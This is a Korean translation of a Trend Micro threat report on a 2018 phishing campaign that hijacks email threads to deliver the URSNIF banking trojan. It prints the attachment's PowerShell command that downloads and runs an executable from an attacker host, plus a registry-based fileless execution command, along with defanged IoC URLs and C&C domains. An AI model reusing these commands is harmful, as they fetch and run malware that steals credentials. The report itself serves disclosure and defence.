이메일 계정을 도용하여 회신 형태로 멀웨어를 전파하는 피싱 캠페인

게시일: 2018-10-19 l 작성자: Trend Micro Cyber Safety Solutions Team

대부분의 피싱 캠페인은 매우 단순하고 눈에 쉽게 띄지만 (정상적인 내용처럼 보이는 이메일에 악성 첨부 파일이나 링크가 텍스트에 포함되어 있음), 올 9월 더 정교한 형태의 피싱 메일이 발견되었습니다. 해당 캠페인은 도용된 이메일 계정을 사용하여 기존에 주고받던 이메일의 일부 또는 응답 형태로 멀웨어를 전송합니다. 이는 계속 주고받던 이메일을 일부로 포함되어 나가기 때문에 피해자는 오랫동안 사이버 공격을 당한 사실을 깨닫기 쉽지 않습니다.

이러한 공격은 Talos가 올해 초 발견한 URSNIF / GOZI 스팸 캠페인과 유사합니다. URSNIF / GOZI 스팸 캠페인은 Dark Cloud 봇넷의 일부인 하이재킹 된 컴퓨터를 사용하여 기존 대화에 이메일을 보내어 공격을 지속하거나 진화시킬 수 있습니다.

지금까지 수집된 모든 데이터를 통해 트렌드마이크로는 아시아와 라틴 아메리카 지역에서 유사한 공격을 발견했고, 주로 북미와 유럽에 많은 영향을 미치고 있음을 알 수 있었습니다.

주 타깃은 교육, 재정 및 에너지 분야이며, 그 외에도 부동산, 운송, 제조 및 정부 기관 등에도 영향을 미칩니다.

공격 예시

아래는 캠페인의 일부로 보낸 이메일의 샘플입니다.


그림 1. 회신 메일로 둔갑한 악성 이메일


보낸 사람이 익숙한 사람이고 메시지가 대화의 일부이기 때문에 받는 사람은 회신된 메일이 최근 주고받던 이메일의 일부라고 생각할 수 있습니다. 또한 제목과 문법이 정확하고 이메일 하단에는 서명도 붙어있습니다.

그러나 자세히 보면 의심스러운 점을 발견할 수 있습니다. 첫 번째로 프랑스어로 보낸 이메일의 답변으로 영어로 회신했다는 점입니다. 또한 가짜 이메일의 서명은 실제 메일 계정 사용자의 서명과 다릅니다. 마지막으로 메일의 내용이 매우 일반적이며 기존의 대화 내용과 맞지 않을 수 있습니다. 그러나 하루에 수많은 이메일을 주고받는 사용자에게 이러한 세부 사항을 언뜻 보고 알아채기란 쉽지 않습니다.


그림 2. 악성 이메일과 실제 사용자의 이메일 비교. (언어와 서명이 다름)


이메일 제목

이메일 제목을 조사한 결과, 트렌드마이크로 연구팀은 흥미로운 사실을 발견하였습니다.


그림 3. 악성 메시지의 익명화된 이메일 제목 (클릭하면 자세히 보실 수 있습니다)


다음의 세 가지 사항을 고려해야 합니다.

  1. 일반적인 스팸 접근 방식은 보낸 사람으로 둔갑하는 것이지만, “Return-Path” 또는 “Reply-To”와 같은 SMTP 헤더를 사용하여 받는 사람이 위협받는 사람에게 또 다른 회신을 하도록 유도합니다. 하지만 이번 캠페인에는 해당되지 않으며, 모든 회신은 이메일을 보내는데 사용된 계정으로 전송됩니다. 공격자는 계정 자체에 대한 접근 권한을 탈취한 것으로 보여집니다.
  2. “In-Reply-To” 제목 (유사한 SMTP 제목 포함)의 존재는 해당 메시지가 기존에 주고받던 이메일에 대한 또 다른 회신임을 보여줍니다.
  3. 해당 이메일 메시지의 첫 번째 홉은 “rrcr-50-74-218-2.nyc.biz.rr.com” 입니다. 이는 개인 사용자에게 드문 경우이기는 하지만, 재택근무자가 보낸 것이 아니라면, 기업 계정은 기업 내 서버 (예: ‘sender.co.ca’ 내의 호스트) 최초의 이메일을 보냈어야 합니다.

이러한 사실을 고려할 때, 실제 계정의 소유자의 위치와 관계없이 이메일이 미국에서 발송되었을 가능성이 큽니다. 상단 샘플의 경우 .ca 국가 코드를 기반으로 사용한 것으로 보아 실제 계정 소유자는 캐나다에 있을 가능성이 높습니다.

추가 조사에 따르면 공격자는 2018년 9월에 다양한 이메일 주소를 사용하여 이메일을 보냈습니다.

또한 공격자가 보낸 사람의 조직 이름을 첨부 파일의 이름과 일치시키는 경우가 많이 메시지가 더 정상적인 이메일로 보이도록 하였습니다. 첨부 파일의 이름 형식은 일반적으로 [sender_company] + [문의 또는 요청과 같은 대화와 관련된 동사].doc 또는 단순히 [sender_company].doc로 구성됩니다. 이렇게 하면 보낸 사람과 파일 이름이 모두 나열되어 악성 이메일이 더 교묘하게 진짜 이메일처럼 보이게 됩니다. 어떤 경우에는 “Inquire”, “Statement”, “Request”와 같은 비즈니스에 일반적인 표현을 사용하기도 합니다.

이메일 제목을 통해 추측할 수 있는 점은 공격자가 실제 정상적인 계정에 대한 접근 권한을 소유하고 있으며, 해당 이메일 계정으로 BEC와 같은 사기 활동을 하고 있다는 것입니다. 또한 사용된 방식과 기법을 감안할 때, 해당 스팸 메일 활동이 앞서 언급한 URSNIF / GOZI 스팸 캠페인의 일부라고 추측됩니다. 발신자 IP 주소는 봇넷에서 좀비 컴퓨터 중 하나로 사용되는 손상된 컴퓨터 일 수 있습니다.

페이로드 분석

사용자가 이메일에서 악성 .doc 첨부 파일을 더블 클릭하면 PowerShell을 호출하게 되어 다운로드된 파일을 실행하기 전 C&C 서버에서 최신 버전의 URSNIF (탐지명 TSPY_URSNIF.THAOOCAH) 멀웨어를 다운로드합니다.

  • powershell $VWc=new-object Net.WebClient;$wIt=’http: //t95dfesc2mo5jr. com/RTT/opanskot.php?l=targa2.tkn’.Split(‘@’);$jzK = ‘369’;$Aiz=$env:public+’\’+$jzK+’.exe’;foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}}

해당 파일은 멀웨어의 기본 로더 역할을 합니다. 그러나 루틴을 수행하기 전, Microsoft OS, 특히 Windows Vista 및 최신 버전에서만 실행이 허용되기 때문에 먼저 OS 버전을 확인합니다. 또한 CN 및 RU와 같은 특정 로케일은 회피합니다.

메인 로더는 실행을 전체적으로 관리하고 이벤트를 텍스트 파일에 기록합니다.

  • %User Temp%\{temp filename}.bin


그림 4. 멀웨어 로더의 로드 (클릭하면 자세히 보실 수 있습니다)


C&C 서버에서 추가 모듈을 다운로드하여 HKEY_CURRENT_USER \ Software \ AppDataLow \ Software \ Microsoft \ 3A861D62-51E0-15700F2219A4 레지스트리 폴더에 저장합니다.

아래의 스크린샷은 생성된 레지스트리 키와 스크립트 및 바이너리가 들어있는 항목입니다.


그림 5. 스크립트 및 바이너리가 들어있는 레지스트리 키 및 항목


레지스트리 키와 일부 항목 이름은 컴퓨터마다 다르지만 위치는 항상 HKCU \ Software \ AppDataLow \ Software \ Microsoft \에 있습니다.

구성 요소가 다운로드되면 comsxRes에 저장된 Powershell 스크립트 (이름은 다를 수 있음)가 실행됩니다. 아래의 Command line instruction은 레지스트리의 16 진수 값이 호출되는 방법을 보여줍니다.

  • exe / C powershell invoke-expression ([System.Text.Encoding] :: ASCII.GetString (get-itemproperty 'HKCU : \ Software \ AppDataLow \ Software \ Microsoft \ 3A861D62-51E0-7C9D-AB0E-15700F2219A4'). comsxRes


그림 6. comsxRes의 16 진수 값


스크립트가 레지스트리에 저장된 내장 바이너리를 로드하면 파일리스 형태로 실행이 시작됩니다. 아래 스크린샷은 바이너리 데이터를 – {hex-encoded binary}로 대체하여 전체 코드를 보여줍니다. 원본 스크립트에는 base64 인코딩이 된 부분도 포함되어 있습니다.


그림 7. 레지스트리에 저장된 바이너리 코드


생성된 레지스트리 키에서 Client32 / Client64를 검색하여 메모리 유지를 위해 탐색기에 이 코드를 삽입합니다. 레지스트리의 다른 항목은 나중에 주입된 멀웨어 코드에서 참조되므로 다음 루틴에 꼭 필수입니다. 예를 들어 “TorClient” 항목은 멀웨어가 TOR 네트워크를 통해 C&C 서버와 통신하는데 사용됩니다.

정보 도용 루틴

최종 페이로드는 호스트 아키텍처에 따라 Client32 / Client64라는 DLL 파일입니다. 해당 파일 또한 악성코드의 구성 요소 대부분과 마찬가지로 레지스트리에 저장됩니다. 페이로드의 주요 목표는 다음 정보를 포함한 정보 도용입니다.

  • 시스템 정보
  • 설치된 응용프로그램 목록
  • 설치된 드라이버 목록
  • 실행중인 프로세스 목록
  • 네트워크 장치 목록
  • 외부 IP 주소
  • 이메일 자격 증명 (IMAP, POP3, SMTP)
  • 쿠키
  • 인증서
  • 스크린 비디오 캡처 (.AVI)
  • Webinjects를 통한 재무 정보

BSS 섹션

분석된 모든 URSNIF 바이너리에는 암호화 섹션이 공통으로 있습니다. 해당 섹션에는 코드에서 사용되면 런타임 중에만 해독되는 관련 문자열이 포함되어 있습니다. 이는 문자열 분석 또는 난독화 옵션을 없애기 때문에 분석을 더 복잡하게 만듭니다.

샌드박스 회피 / Anti-Analysis

샌드박스가 서버 및 구성과 같은 정보를 얻지 못하도록 URSNIF는 코드에서 커서 위치를 두 번 확인합니다. 위치가 변경되지 않은 것은 샌드박스 또는 디버거를 통해 분석 중임을 나타냅니다. 이 검사는 BSS 섹션이 해독되지 전에 수행되며, 제대로 수행되지 않을 경우 무한 루프 (및 왜곡된 문자열)로 연결됩니다.

이러한 사실을 기반으로 공격자가 피싱 공격을 더 정교하고 교묘하게 발전시키고 있음을 알 수 있습니다. 따라서 일반화 시킬 수 있는 피싱 메일의 내용이 없고 기존에 주고받고 있던 메일 사이에 피싱 메일 자체를 몰래 포함시키기 때문에 사용자 입장에서는 피싱 메일을 탐지하는 것이 더 어려워졌습니다.

방어 및 예방

피싱 공격은 그럴듯한 시나리오와 대화를 만들어 중요한 정보를 누설하거나 멀웨어를 다운로드하도록 하는 효과적인 소셜 엔지니어링 기법을 사용하기 때문에 꽤 효과적입니다. 특히나 발신자가 실제 사용자의 계정이라는 점이 가장 큰 함정입니다. 따라서 사용자는 가능하다면 이중 인증을 사용하여 온라인 계정을 보호해야 합니다. 기업은 이중 인증을 시스템에 통합하는 방법을 강구해야 합니다.

또한 아래의 방법을 통해 피싱 시도가 기업 및 직원에게 영향을 미치지 않도록 방지할 수 있습니다.

  • 모든 회사의 사용자에게 의심스러운 메일 인식 방법을 교육해야 합니다. 교육에는 피싱 공격이 무엇인지, 공격이 어떻게 실행되는지 파악하는 것도 포함됩니다.
  • 자금 인출과 같은 의심스러운 요청은 항상 다른 사람들과 먼저 확인해야 합니다. 금융 거래 관련 내용은 특히 주의를 기울여야 합니다.
  • Word에서 보안 설정을 수정하라는 내용의 문서를 클릭하지 마십시오. 악성 파일임을 나타내는 기호일 수 있습니다.
  • 상황에 맞지 않는 메시지, 언어 및 서명 변경 등을 눈여겨보시기 바랍니다.

트렌드마이크로 솔루션

트렌드마이크로의 Smart Protection Suites와 같은 엔드포인트 보안 솔루션은 악성 파일 및 메시지를 탐지하고 관련된 모든 악성 URL을 차단하여 사용자와 기업을 보호합니다. Trend Micro™ Deep Discovery™ 솔루션은 악성 첨부 파일 및 URL을 감지하여 기업을 보호할 수 있는 이메일 검사 보안 계층을 제공합니다.

Trend Micro XGen™ 보안은 차별화된 위협 방어 기술을 제공하여 랜섬웨어 및 가상화폐 채굴기를 비롯한 모든 유형의 위협으로부터 시스템을 보호합니다. 또한 게이트웨이 및 엔드포인트에 대한 하이파이 (high-fidelity) 머신러닝 기술은 물리, 가상 및 클라우드 워크로드를 보호합니다. XGen 보안 기능은 웹 / URL 필터링, 행위 분석, 맞춤형 샌드박스 등의 기능을 통해 알려진, 알려지지 않은 또는 알 수 없는 위협, 도용되거나 암호화된 개인 식별 정보, 악성 가상화폐 채굴기 실행 등의 위협으로부터 환경을 보호합니다.

IoC (침해지표)

Hashes of the .doc files:

Detected as TROJ_FRS.VSN0BI18 / Trojan.W97M.POWLOAD.SMY

  • bdd3f03fb074c55cf46d91963313966ce26afdb13b1444258f8f9e7e723d8395
  • dd7b4fc4d5cc1c1e25c800d5622423725a1b29000f93b658a54e267bbbe6f528
  • 4df47982fdd1ac336625600fa8c947d45909248309b117d05fc532a2260c7bc4

Detected as Trojan.W97M.POWLOAD.FGAIBT

  • f88ef62f2342f4d1105cfe85395b735efd3f0308b79551944983ce245d425510
  • 567fe3794a9eec27697ae0634861d284279261880887f60a7374c6cbe63b7674

Detected as Trojan.W97M.POWLOAD.NSFGAIBF

  • 52d3ece98b6b3b686925156c3d62d8ce133fe3326e11b4c981c251452e4a41d2

Detected as Trojan.W97M.POWLOAD.SMEMOT

  • 4d0762a6b2879d2fa821716db76bc980fdb3b8507611d2853df58c0d4127f9ea

Detected as Trojan.W97M.POWLOAD.SMEMOT2

  • 47e2c66ba16e3ffa9704a13f2c00670319bf292b3d2aa7deede5442da02181e5
  • c2c946f7fd63fc15048a9af4043686f5a56b169e74cb36892fb8d1563b810467

Detected as Trojan.W97M.POWLOAD.SMTHF3

  • 21ce42a1fc6631ed10db3d0e44b4ccb6d96a729fc494bd86a57cf07ff72cb8f2

Detected as Trojan.W97M.POWLOAD.SMY

  • de8f8f39259992886da3b07635cbf121027379e5c1a156a32c6c6e5ace3cc4c3
  • 6b387b8534da9cc7cf0af4f2fb8c2a92f9316c0ea6ffb9cfe49b09b4c3df9778
  • 6bf99f4b17a07e788219333d96a7a19c9eddc1b49d16c2a21da255a6a16c80d5
  • 33d078881456e3b930c480803902fa28142b17c8550f3932e7cf4a1df0eb9213
  • 6ca2d4dcea456b9d4c87f211ed20bb32f71a0c78ee8059b934162e643d66e0c9
  • 82bee0c249b63f349d212a36f0b9ad90f909017ac734eac133353a1135d7474d
  • 1f2e12a58cc23f4e6e7f17b8c1a5c50b88614fda103577354b9564f2dffc257f

Detected as W2KM_POWLOAD.FGAIBT

  • 1db71aec64d0e391a8c99f4f6ee214962a281733643ace0874cf69e2843f448c

Detected as W2KM_POWLOAD.NSFGAIBF

  • c33d642da477f65c11daa9e8098b9917c4c5a6f131dd1369a20cb1b14c4cc261
  • 398e677290b1db00d8751c3498847ad9c7d10721630175d2506c4d45af19d229
  • 813a08d3b2216c89d42e8225c6de760d785905d1c76bd7428201d68c3c368f65

Detected as W2KM_POWLOAD.THIACAH

  • 5aed7d6a3e8692143e53f9556cd3aa371149c96b91c02d1c659cb58d88572e47

Downloaded URSNIF

Detected as TSPY_URSNIF.THAOOCAH

  • 0a38d92775cfc7182076d9a21c4937149ea8be6ebf22b9530afbca57d69c0d46

Executable file payload

Detected as TrojanSpy.Win32.URSNIF.BAIEF

  • 358bd52ac46755b1c6fa73805a7a355450f85f4bcf1b2e798a04960743390422

Detected as TSPY_URSNIF.THAOOCAH

  • e8633f2f2b6b0b8f7348b4660e325ab25b87ec8faa40fb49eb0215b31bd276aa

Detected as TSPY_URSNIF.BAIEB

  • f92ba10fe245c00575ae8031d4c721fe0ebb0820a4f45f3bbce02654a6e7f18d

Download URLs

  • hxxp://t95dfesc2mo5jr[.]com/RTT/opanskot[.]php?l=targa2[.]tkn
  • hxxp://enduuyyhgeetyasd[.]com/RTT/opanskot[.]php?l=omg8[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn
  • hxxp://2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb1[.]tkn
  • hxxp://yrtw1djmj6eth7[.]com/RTT/opanskot[.]php?l=okb7[.]tkn
  • hxxp://popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr7[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa2[.]tkn
  • hxxp://e3u1oz4an1dqmj[.]com/RTT/opanskot[.]php?l=okb9[.]tkn
  • hxxp://popoasdzxcqe[.]com/YUY/huonasdh[.]php?l=rgr3[.]tkn
  • hxxp://2dhtsif1a8jhyb[.]com/RTT/opanskot[.]php?l=okb5[.]tkn
  • hxxp://hbhbasdqweb[.]com/YUY/huonasdh[.]php?l=rgr4[.]tkn
  • hxxp://q0fpkblizxfe1l[.]com/RTT/opanskot[.]php?l=targa4[.]tkn

Command and Control Servers

  • app[.]kartop[.]at
  • doc[.]dicin[.]at
  • doc[.]avitoon[.]at
  • app[.]avitoon[.]at
  • ops[.]twidix[.]at
  • xx[.]go10og[.]at
  • api[.]kartop[.]at
  • m1[.]fofon[.]at
  • cdn[.]kartop[.]at
  • api[.]tylron[.]at
  • chat[.]twidix[.]at
  • api[.]kaonok[.]at
  • chat[.]jimden[.]at
  • mahono[.]cn

[원문: Phishing Campaign uses Hijacked Emails to Deliver URSNIF by Replying to Ongoing Threads]